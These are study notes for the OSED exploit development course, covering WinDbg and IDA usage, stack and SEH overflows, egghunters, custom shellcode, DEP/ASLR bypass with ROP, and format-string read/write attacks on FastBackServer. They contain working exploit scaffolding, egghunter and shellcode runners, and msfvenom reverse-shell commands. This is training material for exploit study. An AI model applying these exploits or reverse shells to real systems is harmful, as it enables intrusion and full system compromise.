OSED Notes

Compiled study notes for Offensive Security's EXP-301 (OSED) course. Everything is organized for quick reference during lab work and exam prep — commands first, theory where it matters.


x86 Architecture Quick Reference

Registers

RegisterRole
EAXAccumulator — arithmetic, return values
EBXBase pointer for memory addresses
ECXCounter — loops, shifts, rotations
EDXData — I/O, multiplication, division
ESISource index — string operations
EDIDestination index — string operations
ESPStack pointer — top of current stack frame
EBPBase pointer — base of current stack frame
EIPInstruction pointer — address of next instruction

Windows Process Memory Layout (x86)

0x7FFFFFFF  <- top of user space
  [stack]   <- grows downward
  [heap]    <- grows upward
  [BSS]     <- uninitialised globals
  [data]    <- initialised globals
  [text]    <- executable code
0x00000000  <- bottom

Stack Frame Mechanics

When a function is called:

  1. Arguments pushed right-to-left (cdecl) or placed in registers (fastcall)
  2. CALL pushes return address (EIP + size of CALL) onto stack
  3. Callee does PUSH EBP / MOV EBP, ESP to save/set frame pointer
  4. Local variables allocated by SUB ESP, N
  5. On return: MOV ESP, EBP / POP EBP / RET

Volatile registers (caller-saved): EAX, ECX, EDX — shellcode can freely use these.


WinDbg Fundamentals

Attaching and Navigating

# Attach to process: File > Attach to a Process (or via command line)
windbg.exe -p <PID>

# Reload symbols
.reload /f

# List modules
lm
lm m notepad
lm m kernel32

# Resume execution
g

# Step over / into
p
t

# Run until return
pt

# Break (Ctrl+Break or Debug > Break)

Inspecting Registers and Memory

# Show all registers
r

# Show specific register
r eip
r esp

# Disassemble from EIP
u eip
u eip L10         # 10 instructions

# Disassemble a function
u kernel32!GetCurrentThread

# Display memory as bytes / words / dwords / qwords / chars
db esp
dw esp
dd esp
dq esp
dc KERNELBASE     # combined hex + ASCII

# Display with length limit
dd esp L4         # 4 dwords
db esp L20        # 32 bytes

# Pointer dereference
dd poi(esp)       # same as dd [esp]

# Display a string
da <addr>         # ASCII
du <addr>         # Unicode

# Display structure
dt ntdll!_TEB
dt nt!_TEB @$teb
dt -r ntdll!_TEB @$teb   # recursive, with values
dt ntdll!_TEB @$teb ThreadLocalStoragePointer

# Get size of structure
?? sizeof(ntdll!_TEB)

Writing Memory

# Write dword to address
ed <addr> <value>

# Write bytes
eb <addr> <byte> <byte> ...

Breakpoints

# Software breakpoint
bp kernel32!CreateFileW
bp 0xDEADBEEF

# List breakpoints
bl

# Disable / enable / clear
bd 0        # disable bp 0
be 0        # enable bp 0
bc 0        # clear bp 0
bc *        # clear all

# Run until address
g <addr>

# Conditional breakpoint (break if EAX == 0)
bp kernel32!CreateFileW ".if @eax == 0 {} .else {gc}"

# One-shot breakpoint
ba e1 <addr>     # hardware execute breakpoint

Exception Handling in WinDbg

# SEH chain
!exchain

# Pass exception to application (first/second chance)
gh      # handle exception, continue
gn      # not handled, pass to next handler

Useful Searches

# Search for byte pattern in memory
s -b 0x0 L?0x7fffffff <pattern>

# Search for string
s -a <start> L<len> "string"
s -u <start> L<len> "unicode"

# Search for pointer value
s -d 0x0 L?0x7fffffff <addr>

Stack Display Tips

# Display stack with symbol resolution
dps esp L20

# Display stack around crash
dds esp - 10 L8

# x command — search symbols
x kernel32!*File*
x ntdll!*

Stack Overflow Exploitation

Exploitation Flow

1. Crash the target (send oversized input)
2. Find EIP offset (cyclic pattern)
3. Verify EIP control
4. Locate shellcode space (check ESP)
5. Find JMP ESP (or equivalent) gadget
6. Detect bad characters
7. Generate shellcode (msfvenom)
8. Deliver final exploit

Step 1: Initial Crash PoC

#!/usr/bin/env python3
import socket, sys

server = sys.argv[1]
port   = 80

buf  = b"POST /login HTTP/1.1\r\n"
buf += b"Host: " + server.encode() + b"\r\n"
buf += b"Content-Type: application/x-www-form-urlencoded\r\n"
buf += b"Content-Length: 809\r\n\r\n"
buf += b"username=" + b"A" * 800 + b"&password=A"

s = socket.socket()
s.connect((server, port))
s.send(buf)
s.close()

WinDbg confirms crash: eip=41414141

Step 2: Find EIP Offset

# Generate pattern
msf-pattern_create -l 800

# Find offset after crash shows e.g. eip=42306142
msf-pattern_offset -l 800 -q 42306142
# [*] Exact match at offset 780

Step 3: Verify EIP Control

filler    = b"A" * 780      # offset to EIP
eip       = b"B" * 4        # 0x42424242 — confirm overwrite
offset    = b"C" * 4        # 4 bytes land at ESP
shellcode = b"D" * 716      # rest of buffer

WinDbg: eip=42424242, esp points to \x43\x43\x43\x43.

Step 4: Find JMP ESP

# Find JMP ESP (opcode FF E4) in loaded modules without ASLR
!mona jmp -r esp -m "syncbrs.exe"
!mona jmp -r esp -cpb "\x00\x0a\x0d"   # exclude bad chars

# Manual search for FF E4 (JMP ESP)
s -b 0x00400000 L0x10000 \xff\xe4

Note the address (e.g., 0x10090c83). Pick one from a module without ASLR and without SafeSEH (!mona modules).

Step 5: Bad Character Detection

Send all bytes \x01 through \xff as part of the buffer, then inspect memory in WinDbg:

badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
    b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18"
    # ... all bytes to \xff
)
# Compare buffer in memory against expected sequence
db esp L100

Binary search: comment out half the list → if no corruption → bad chars in the commented half. Repeat.

Step 6: Generate Shellcode

# Reverse shell, excluding bad characters
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.45.x LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python -v shellcode

# Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.45.x LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python -v shellcode

Step 7: Final Exploit Structure

filler    = b"A" * 780
eip       = b"\x83\x0c\x09\x10"   # JMP ESP — little-endian
offset    = b"C" * 4
nop_sled  = b"\x90" * 16          # optional breathing room
shellcode = (b"\xfc\xe8\x82...")   # msfvenom output
payload   = filler + eip + offset + nop_sled + shellcode

SEH Overflow Exploitation

What is SEH

Structured Exception Handling is a Windows mechanism for handling unexpected events. Each thread has a linked list of exception registration records stored on the stack, pointed to by FS:[0].

_EXCEPTION_REGISTRATION_RECORD
  +0x000 Next     → pointer to next record
  +0x004 Handler  → pointer to exception handler function

When an exception fires, Windows walks the chain calling each Handler until one returns ExceptionContinueExecution.

SEH Overwrite Goal

Overwrite the SEH record on the stack so that:

  • Next (nSEH) = short jump over the handler → \xeb\x06\x90\x90
  • Handler (SEH) = address of POP POP RET gadget

When the exception fires → Handler is called → POP POP RET returns to nSEH → short jump → shellcode.

Exploitation Flow

1. Crash target → confirm SEH is overwritten
2. Find SEH offset (cyclic pattern + !exchain)
3. Locate POP POP RET gadget (module without SafeSEH/ASLR)
4. Build payload: filler | nSEH | SEH | shellcode
5. Check bad characters
6. Deliver exploit

Step 1: Trigger and Inspect Crash

# After first chance exception, pass to SEH
g

# Now inspect SEH chain
!exchain

# Example output:
# 0197fe6c: libpal!xxx+yyy
# 0197ffcc: 41414141   <-- overwritten with A's
# Invalid exception stack at 41414141

Step 2: Find SEH Offset

msf-pattern_create -l 1000 > pattern.txt
# send as buffer

# After crash, !exchain shows e.g. handler at 6f43376f
msf-pattern_offset -l 1000 -q 6f43376f
# [*] Exact match at offset 508

Or use !mona findmsp after sending the cyclic pattern — it reports both EIP and SEH offsets.

Step 3: Find POP POP RET

# List modules — find one without ASLR and SafeSEH
!mona modules

# Find POP R32 / POP R32 / RET in that module
!mona seh -m "libpal.dll"
!mona seh -cpb "\x00\x0a\x0d"

The gadget can use any general-purpose registers for the two POPs. Verify:

u 0x10012afb
# pop ecx
# pop ecx
# ret

Step 4: Build SEH Payload

filler   = b"A" * 508
nseh     = b"\xeb\x06\x90\x90"      # JMP SHORT +6 bytes
seh      = b"\xfb\x2a\x01\x10"      # POP POP RET address (little-endian)
shellcode = b"\x90" * 16 + b"\xfc..." # NOP sled + payload
payload  = filler + nseh + seh + shellcode

Layout in memory after crash:

[filler: 508 bytes]
[nSEH:  EB 06 90 90]   <- Next pointer, becomes our short jump
[SEH:   addr of PPR]   <- Handler pointer, triggers PPR
[nop sled + shellcode]

SafeSEH Bypass

SafeSEH checks that the Handler address lives in the SafeSEH table of the loaded image. To bypass:

  • Use a module not compiled with /SAFESEH (!mona modules → SafeSEH column = False)
  • Use a module outside the image range (address in a heap/stack range → bypass if ExecuteDispatchEnable is set)

SEHOP Notes

SEHOP validates that the SEH chain terminates at ntdll!FinalExceptionHandler. It is disabled by default on Windows clients, enabled on servers. When active it prevents most SEH overwrites.


IDA Pro Basics

Installation

chmod +x idafree70_linux.run
sudo ./idafree70_linux.run

# Symlink for easy access
sudo ln -s /opt/idafree-7.0/ida64 /usr/bin/ida64
ida64

Key Views

ViewPurpose
Graph viewControl flow graph of a function
Text viewLinear assembly listing
Functions windowAll identified functions
Imports tabImported APIs — entry point for tracing
Exports tabExported symbols

Rebasing to Match WinDbg

When ASLR is off or disabled for a session, the module base in WinDbg may differ from IDA's default. Sync them:

# In WinDbg, get the current base
lm m syncbrs
# start = 0x00f20000

In IDA: Edit > Segments > Rebase program → enter 0x00f20000.

Now addresses in both tools match — click an address in WinDbg, jump to it in IDA with G.

Useful IDA Shortcuts

KeyAction
GJump to address
SpaceToggle graph / text view
XCross-references to current symbol
NRename function or variable
F5Decompile (Hex-Rays, if licensed)
;Add comment
Alt+BSearch for byte sequence
Alt+ISearch for immediate value
Ctrl+SSave database (use Pack option)

Syncing WinDbg + IDA Workflow

  1. Set breakpoint in WinDbg: bp kernel32!CreateFileW
  2. Run: g
  3. Breakpoint fires — note current EIP
  4. In IDA: G → paste EIP address
  5. Step through in WinDbg (p / t), follow in IDA graph
  6. Use IDA's Imports tab to trace API calls — see argument structures
# After stepping past a call
dds esp L5     # inspect args on stack

# Check return value
r eax

Egghunters

When to Use

Use an egghunter when:

  • The available buffer space after EIP control is too small for shellcode (e.g., <100 bytes)
  • The full shellcode is landing elsewhere in memory (e.g., HTTP body, another buffer) at an unpredictable address

The egghunter is a small (~32 byte) stub that searches all accessible process memory for a 4-byte tag (egg) appearing twice, then executes the code that follows.

Bad Character Detection Flow

  1. Send all bytes \x00 through \xff in the buffer
  2. Crash, inspect memory in WinDbg: db <buf_start> L0x100
  3. Compare expected sequence — find where it deviates
  4. Binary search: comment out half of badchars block, re-test
  5. Narrow down to exact bad bytes (e.g., \x00\x0a\x0d\x25)

Finding the EIP Offset

# With small buffer sizes that prevent msf-pattern_create from working cleanly
# — manually bisect:
inputBuffer = b"\x41" * 130 + b"\x42" * 130
# If EIP shows 0x42424242 → offset < 130
# If EIP shows 0x41414141 → offset > 130, try 0x41*200 + 0x42*60, etc.

Egghunter Shellcode (NtAccessCheckAndAuditAlarm)

This syscall approach works in Windows 10. The egg is w00t (4 bytes), placed twice: w00tw00t.

egghunter = (
    b"\x66\x81\xca\xff\x0f"  # or dx, 0x0fff
    b"\x42"                   # inc edx
    b"\x52"                   # push edx
    b"\x6a\x02"               # push 0x2
    b"\x58"                   # pop eax
    b"\xcd\x2e"               # int 0x2e (NtAccessCheckAndAuditAlarm syscall)
    b"\x3c\x05"               # cmp al, 0x5
    b"\x5a"                   # pop edx
    b"\x74\xef"               # je (loop back to or dx)
    b"\xb8\x77\x30\x30\x74"  # mov eax, 0x74303077  ("w00t")
    b"\x8b\xfa"               # mov edi, edx
    b"\xaf"                   # scasd  (compare eax to [edi], advance edi)
    b"\x75\xea"               # jne (loop back to or dx — not found)
    b"\xaf"                   # scasd  (check second occurrence)
    b"\x75\xe7"               # jne (loop back)
    b"\xff\xe7"               # jmp edi (execute shellcode after egg)
)

Full Egghunter Exploit Structure

filler    = b"A" * 253       # bytes to EIP
eip       = b"\x83\x0c\x09\x10"  # JMP ESP (or suitable jump-to-egghunter)
egghunter = b"\x66\x81..."   # ~32 bytes
padding   = b"C" * (1000 - len(filler) - 4 - len(egghunter))

# Shellcode placed in a larger buffer sent earlier or in same request
egg       = b"w00t" * 2     # 8-byte tag
shellcode = egg + msfvenom_payload

# Two sends: first inject shellcode, then trigger overflow

Locating a Suitable Jump

When ESP doesn't point to your egghunter, find another register that does:

# At crash time
r         # inspect all registers
dds esp L5
dds eax
# Find a register pointing near your buffer, then locate JMP <reg>
# e.g. CALL EAX = FF D0, JMP EAX = FF E0
s -b 0x00400000 L0x10000 \xff\xe0   # JMP EAX

Custom Shellcode

Goal

Write shellcode that:

  1. Finds kernel32.dll base address from PEB
  2. Walks the export table to find GetProcAddress
  3. Calls GetProcAddress to resolve WinExec / CreateProcessA / socket APIs
  4. Executes the desired action (e.g., reverse shell)

PEB Traversal (find kernel32)

; FS:[0x30] -> PEB
; PEB+0x0C  -> PEB_LDR_DATA
; LDR+0x1C  -> InInitializationOrderModuleList.Flink
; Walk list: second entry is kernel32.dll (index varies — check module name)

xor  ecx, ecx
mov  esi, fs:[ecx+0x30]    ; ESI = PEB
mov  esi, [esi+0x0C]       ; ESI = PEB->Ldr
mov  esi, [esi+0x1C]       ; ESI = InInitOrder.Flink (first entry)

next_module:
  mov  ebx, [esi+0x08]     ; EBX = module base address
  mov  edi, [esi+0x20]     ; EDI = module name (UNICODE_STRING.Buffer)
  mov  esi, [esi]          ; ESI = next entry in list
  cmp  [edi+0x18*2], cx    ; check if name[12] == 0x00 (kernel32 is 12 chars)
  jne  next_module
  ; EBX now holds kernel32.dll base

Full Keystone Python Harness

import ctypes, struct
from keystone import *

CODE = (
    " start:                             "
    "   int3                            ;"  # remove before deployment!
    "   mov   ebp, esp                  ;"
    "   sub   esp, 0x60                 ;"
    " find_kernel32:                    "
    "   xor   ecx, ecx                  ;"
    "   mov   esi, fs:[ecx+0x30]        ;"
    "   mov   esi, [esi+0x0c]           ;"
    "   mov   esi, [esi+0x1c]           ;"
    " next_module:                      "
    "   mov   ebx, [esi+0x08]           ;"
    "   mov   edi, [esi+0x20]           ;"
    "   mov   esi, [esi]                ;"
    "   cmp   [edi+0x18*2], cx          ;"
    "   jne   next_module               ;"
    "   ret                              "
)

ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),    # MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40))      # PAGE_EXECUTE_READWRITE

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr),
    ctypes.c_int(0), ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Resolving GetProcAddress

After finding kernel32 base in EBX:

find_function:
  ; Walk PE export directory
  mov  eax, [ebx+0x3c]      ; PE signature offset
  mov  edi, [ebx+eax+0x78]  ; Export table RVA
  add  edi, ebx             ; Export table VA
  mov  ecx, [edi+0x18]      ; NumberOfNames
  mov  eax, [edi+0x20]      ; AddressOfNames RVA
  add  eax, ebx             ; AddressOfNames VA

; Hash function to find GetProcAddress without hardcoding the string
find_function_loop:
  jecxz find_function_finished   ; if ECX==0 not found
  dec   ecx
  mov   esi, [eax+ecx*4]
  add   esi, ebx            ; function name VA
  ; call compute_hash — compare hash to target

Use a hash of the function name to avoid plaintext strings in shellcode. Pre-compute hashes for each API needed.

Null-Free Techniques

Shellcode must avoid null bytes (usually a bad char). Tricks:

; Instead of: mov eax, 0
xor eax, eax

; Instead of: push 0
xor eax, eax
push eax

; Instead of: and eax, 0xFFFFFF00 (if top byte is 0x00)
; use: sub al, al  or  xor al, al

; Encode addresses with XOR if they contain 0x00

Reverse Engineering for Bugs (FastBackServer)

Approach

  1. Install target → identify listening ports (TCPView / netstat)
  2. Attach WinDbg as administrator
  3. Set breakpoint on recv / WSARecv to intercept incoming data
  4. Send controlled input → trace how it's parsed
  5. Align WinDbg and IDA Pro to follow code flow
  6. Identify dangerous copy/format functions (strcpy, sprintf, vsprintf, memcpy)

Hook recv to Trace Input

bp wsock32!recv
g

When breakpoint hits:

# Stack at recv entry: [ret] [socket] [buf] [len] [flags]
dds esp L6

# See buffer pointer
dd poi(esp+8)   # buf argument

# After stepping past recv (pt then p):
da poi(esp+8)   # read received data as ASCII

Tracing the Call Chain

# Step over (p) vs step into (t)
# Use pt to run until return of current function
# Use dps esp L20 to see call chain on stack

# After identifying parsing function in IDA, set BP:
bp FastBackServer!<function_offset>
g

Identifying Vulnerabilities

Look for:

  • strcpy / strncpy without length check
  • sprintf / vsprintf with user-controlled format string
  • memcpy where length comes from the packet
  • Functions that write user data to a fixed-size stack buffer

In IDA, cross-reference (X) these functions to find call sites with attacker-controlled arguments.


DEP Bypass — Return Oriented Programming (ROP)

What DEP Does

Data Execution Prevention marks stack and heap memory as non-executable (NX). Shellcode placed there will cause an access violation instead of executing.

ROP Concept

Chain together existing executable code snippets (gadgets) ending in RET so that each RET pops the next gadget's address off the stack. Goal: call VirtualAlloc or WriteProcessMemory to make shellcode executable, then jump to it.

Exploitation Flow

1. Gain EIP control as before
2. Identify ROP gadgets (rp++, !mona rop)
3. Build chain to call VirtualAlloc(shellcode_addr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
4. Append shellcode after ROP chain
5. Pivot stack to ROP chain (if needed)

Finding Gadgets

# Using rp++ (preferred)
rp++ -f syncbrs.exe -r 5 > gadgets.txt

# Using mona (WinDbg)
!mona rop -m "syncbrs.exe,libspp.dll" -cpb "\x00\x0a\x0d"

# Key gadgets to look for:
# pop eax; ret
# pop ebx; ret
# xchg eax, esp; ret     (stack pivot)
# push esp; pop eax; ret
# mov [eax], ebx; ret    (arbitrary write)
# add eax, N; ret        (adjust pointer)
# neg eax; ret           (negate for negative offset trick)
# inc eax; ret

VirtualAlloc ROP Skeleton

rop_chain  = b""

# 1. Get VirtualAlloc address (from IAT)
rop_chain += struct.pack("<I", 0x10015f82)  # pop eax; ret
rop_chain += struct.pack("<I", 0x1004e030)  # IAT pointer to VirtualAlloc

# 2. Dereference (mov eax, [eax])
rop_chain += struct.pack("<I", 0x1001eaf1)  # mov eax, [eax]; ret

# 3. Place on stack for the call
rop_chain += struct.pack("<I", 0x10014f4b)  # pushad; ret  (puts all regs on stack)

# --- VirtualAlloc arguments on stack (set up via gadgets before pushad) ---
# lpAddress    = shellcode location (dynamic — use esp tricks)
# dwSize       = 0x201
# flAllocationType = 0x1000
# flProtect    = 0x40  (PAGE_EXECUTE_READWRITE)

Common technique: use pushad + ret to call VirtualAlloc with all registers pre-loaded (EAX = VirtualAlloc, EBX = size, ECX = protect, EDX = type, EDI = ret-addr-after-VA, ESI = VirtualAlloc again for alignment). Requires careful gadget selection.

Negative Offset Trick (Avoiding Null Bytes)

0x00000040 (PAGE_EXECUTE_READWRITE) contains null bytes. Use negation:

# -0x40 in 32-bit = 0xFFFFFFC0 — no null bytes
rop_chain += struct.pack("<I", gadget_pop_eax)
rop_chain += struct.pack("<I", 0xFFFFFFC0)   # -0x40
rop_chain += struct.pack("<I", gadget_neg_eax) # eax = 0x40

Detecting ASLR vs Non-ASLR Modules

!mona modules
# Column: ASLR, Rebase, SafeSEH, NXCompat
# Target modules with ASLR=False, Rebase=False for stable addresses

pykd / WinDbg Script for Gadget Discovery

# findrop.py — run inside WinDbg with pykd
import pykd

def find_gadgets(module_name, pattern):
    mod = pykd.module(module_name)
    base = mod.begin()
    size = mod.end() - base
    # scan for pattern
    results = pykd.searchMemory(base, size, pattern)
    for addr in results:
        print(hex(addr))

find_gadgets("libspp", b"\xff\xe4")  # JMP ESP

ASLR Bypass

What ASLR Does

Randomizes base addresses of executables and DLLs on each load. Combined with DEP, exploitation requires defeating both.

Bypass Strategies

MethodDescription
Non-ASLR moduleFind module compiled without ASLR — use its fixed addresses
Information leakLeak a pointer at runtime → calculate base from known offset
Heap sprayFill large memory range hoping to land on shellcode (NX defeats this without DEP bypass)
Partial overwriteOverwrite only low bytes of return address (if stack not ASLR'd)

Finding the Leak

For FastBackServer: the server writes log entries. By injecting %x format specifiers via a specific opcode, stack contents are written to the log. Read the log via another opcode to recover stack addresses.

# Opcode 0x604 → triggers _EventLog (format string to log)
# Opcode 0x520 → _SFILE_ReadBlock_ (read log file back)

def send_opcode(s, opcode, data):
    header  = struct.pack("<I", 0xABAB1975)   # magic
    header += struct.pack("<I", opcode)
    header += struct.pack("<I", 0x00004000)
    header += struct.pack("<I", len(data))
    header += struct.pack("<I", len(data))
    header += struct.pack("<I", data[-1] if data else 0)
    s.send(header + data)

Calculating Module Base from Leaked Pointer

# Leaked pointer: KERNELBASE!WaitForSingleObjectEx+0x13a = 0x75ab234a
# Known offset from base: 0x10c36a
kernelbase_base = leaked_ptr - 0x10c36a

# From WinDbg: lm m kernelbase → base, then
# ? WaitForSingleObjectEx+0x13a - kernelbase_base

Verify in WinDbg:

lm m kernelbase
# start    end
# 75100000 75220000   kernelbase

? 75ab234a - 75100000
# Evaluate expression: 70 = 0n112 ...

Combined DEP+ASLR Bypass Flow

1. Send format string → receive log → parse leaked pointer
2. Calculate kernelbase (or target module) base
3. Compute ROP gadget addresses = module_base + known_offset
4. Build ROP chain using dynamic addresses
5. Deliver chain with shellcode

WriteProcessMemory Alternative to VirtualAlloc

# WriteProcessMemory args:
# hProcess    = 0xFFFFFFFF (GetCurrentProcess pseudo-handle)
# lpBaseAddress = target RX region (e.g., .text section of module)
# lpBuffer    = shellcode in RW memory
# nSize       = len(shellcode)
# lpNumberOfBytesWritten = writable address

# Finds existing executable memory → copies shellcode there → jumps to it
# Avoids needing to allocate new RWX memory

Encoder Approach for Bad Characters in Shellcode

When msfvenom -e encoders aren't available (due to DEP), use a custom ROP-based decoder:

# Bad char map example:
# 0x00 → 0xff (substitute, restore at runtime)
# 0x0a → 0x06
# 0x0d → 0x05
# 0x20 → 0x1f

def encodeShellcode(sc, badChars, mapping):
    encoded = bytearray(sc)
    for i, b in enumerate(encoded):
        if b in badChars:
            encoded[i] = mapping[b]
    return bytes(encoded)

# ROP chain restores each substituted byte at runtime:
# add [eax+1], bh; ret   → increments memory byte
# (set bh to the delta, eax to byte address - 1)

Format String Attack — Part I: Read Primitive

How Format Strings Work

printf("%x %x %x", ...) — if no arguments are provided, printf reads values off the stack as if they were arguments. With %s, it dereferences a pointer from the stack.

Building a Remote Read Primitive (FastBackServer)

FastBackServer writes attacker-controlled data to an event log via _ml_vsnprintf. Read the log back via a separate opcode.

# Craft format string
fmt = b"w00t:"             # unique header to locate output
fmt += b"%x." * 200        # leak 200 dwords from stack

# Send via opcode 0x604
send_format_string(s, fmt)

# Read log via opcode 0x520
log_data = read_log(s)

# Parse — find "w00t:" prefix, split on "."
idx   = log_data.find(b"w00t:")
leaks = log_data[idx+5:].split(b".")

Finding the Right Stack Offset

# Send unique value and find its position in the leak
for start in range(0, 0x200, 4):
    fmt = b"w00t:" + (b"%x." * (start // 4))
    # compare leak at that offset to known value

Leaking a Code Pointer

Replace %x with %s at a specific offset where a pointer to a module lives on the stack:

# offset 0x15c below the leaked stack address holds
# KERNELBASE!WaitForSingleObjectEx+0x13a
fmt = b"w00t:"
fmt += b"%x." * offset_to_pointer
fmt += b"%s"   # dereference and read memory at that address

This leaks the actual bytes at that address — with a known structure you can extract the virtual address.


Format String Attack — Part II: Write Primitive

The %n Specifier

%n writes the number of characters printed so far as an integer to the pointer argument. If the pointer is attacker-controlled, this achieves an arbitrary write.

Writing Arbitrary Values

To write value V to address A:

  • Position address A on the stack as the argument for %n
  • Pad the output to exactly V characters using width specifiers (e.g., %Nc where N is the count)

Writing a full DWORD requires four separate %n writes (one byte at a time) or use %hn for two-byte writes.

def writeByte(target_addr, value, current_count):
    """Returns format string fragment that writes `value` to `target_addr`."""
    # value must account for current_count (bytes printed so far)
    to_write = (value - current_count) % 256
    if to_write == 0:
        to_write = 256
    fmt = ("%" + str(to_write) + "c%n").encode()
    return fmt, current_count + to_write

def writeDWORD(target_addr, dword_value):
    fmt = b""
    count = 0
    for i in range(4):
        byte_val = (dword_value >> (i * 8)) & 0xFF
        fragment, count = writeByte(target_addr + i, byte_val, count)
        fmt += fragment
    return fmt

Overwriting a Return Address

  1. Leak a stack address (via %x chain — find _beginthreadex+0xf4 on stack)
  2. Calculate offset from leaked address to the target return address
  3. Write gadget address (e.g., stack pivot) to that location
# Leaked stack ptr at offset X in format string output
stack_ptr = int(leaks[X], 16)

# Return address is at stack_ptr + known_delta
ret_addr_location = stack_ptr + 0x62078

# Write pivot gadget there
pivot = kernelbase_base + 0xe1af4   # pop esp; ...; ret

write_payload = writeDWORD(ret_addr_location, pivot)

Stack Pivot

After overwriting the return address with pop esp; ret:

  • esp is set to the value at top of stack
  • Control returns to whatever esp points to

Point esp at your ROP chain / shellcode in a known-writable location (e.g., psCommandBuffer).

Full SYSTEM Shell (Combined)

1. Format string read → leak stack + KERNELBASE address
2. Compute: kernelbase_base, ret_addr_location, psCommandBuffer addr
3. Place VirtualAlloc call directly in psCommandBuffer (all values known — no ROP skeleton needed)
4. Format string write → overwrite return address with stack pivot to psCommandBuffer
5. Shellcode executes as NT AUTHORITY\SYSTEM

Mona Cheatsheet

# Module info
!mona modules

# Find pattern (MSP after cyclic buffer crash)
!mona findmsp

# Find JMP ESP
!mona jmp -r esp
!mona jmp -r esp -m "module.dll" -cpb "\x00\x0a\x0d"

# Find SEH gadgets (POP POP RET)
!mona seh -m "module.dll"
!mona seh -cpb "\x00\x0a\x0d"

# Build ROP chain
!mona rop -m "module.dll" -cpb "\x00\x0a\x0d"

# Compare buffer in memory for bad chars
!mona compare -f c:\mona\badchars.bin -a <esp_value>

# Generate badchar binary
!mona bytearray -cpb "\x00\x0a\x0d"

Quick Command Index

msfvenom

# Windows x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode

# Windows x86 meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode

# Reverse HTTP (useful for ASLR+DEP bypass scenarios)
msfvenom -p windows/meterpreter/reverse_http LHOST=<ip> LPORT=8080 -b "\x00\x0a\x0d" -f python -v shellcode

Pattern Tools

msf-pattern_create -l 1000
msf-pattern_offset -l 1000 -q <4-byte-hex-from-EIP>
rp++ -f target.exe -r 5 > gadgets.txt
grep "pop eax" gadgets.txt
grep "xchg.*esp" gadgets.txt
grep "pop ebx" gadgets.txt | grep "pop ecx" | grep "ret$"

Keystone Assembler (Python)

from keystone import Ks, KS_ARCH_X86, KS_MODE_32
import struct

def assemble(code):
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    encoding, _ = ks.asm(code)
    return bytes(encoding)

opcodes = assemble("jmp esp")
print(opcodes.hex())  # ffe4

Exam Tips

  • Always run WinDbg as administrator — required to attach to privileged processes
  • Remove int3 from shellcode before delivery — debug breakpoints left in will crash the exploit on the exam machine
  • Document every gadget address and why you chose it — offsets shift if you use a different module
  • Test bad characters systematically — one missed bad char will silently corrupt your shellcode
  • Rebase IDA Pro to match the debugger before tracing — mismatched addresses waste time
  • Keep the egghunter small — it must fit in the limited buffer space, every byte counts
  • For ASLR bypass — always verify the leaked address matches expectations in WinDbg before building the chain
  • Stack pivotsxchg eax, esp; ret and pop esp; ret are your friends, look for them early
  • !mona modules is the first thing to run after attaching — find your non-ASLR, non-SafeSEH module before anything else